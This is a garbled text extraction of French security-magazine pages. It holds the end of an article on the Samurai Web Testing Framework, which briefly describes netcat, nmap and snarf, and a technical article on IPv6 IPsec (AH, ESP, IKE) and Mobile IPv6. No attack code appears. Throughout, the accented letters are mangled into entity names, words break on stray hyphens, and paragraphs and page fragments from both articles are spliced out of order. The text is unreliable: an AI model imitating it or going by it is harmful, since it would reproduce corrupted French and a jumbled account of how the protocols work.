bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

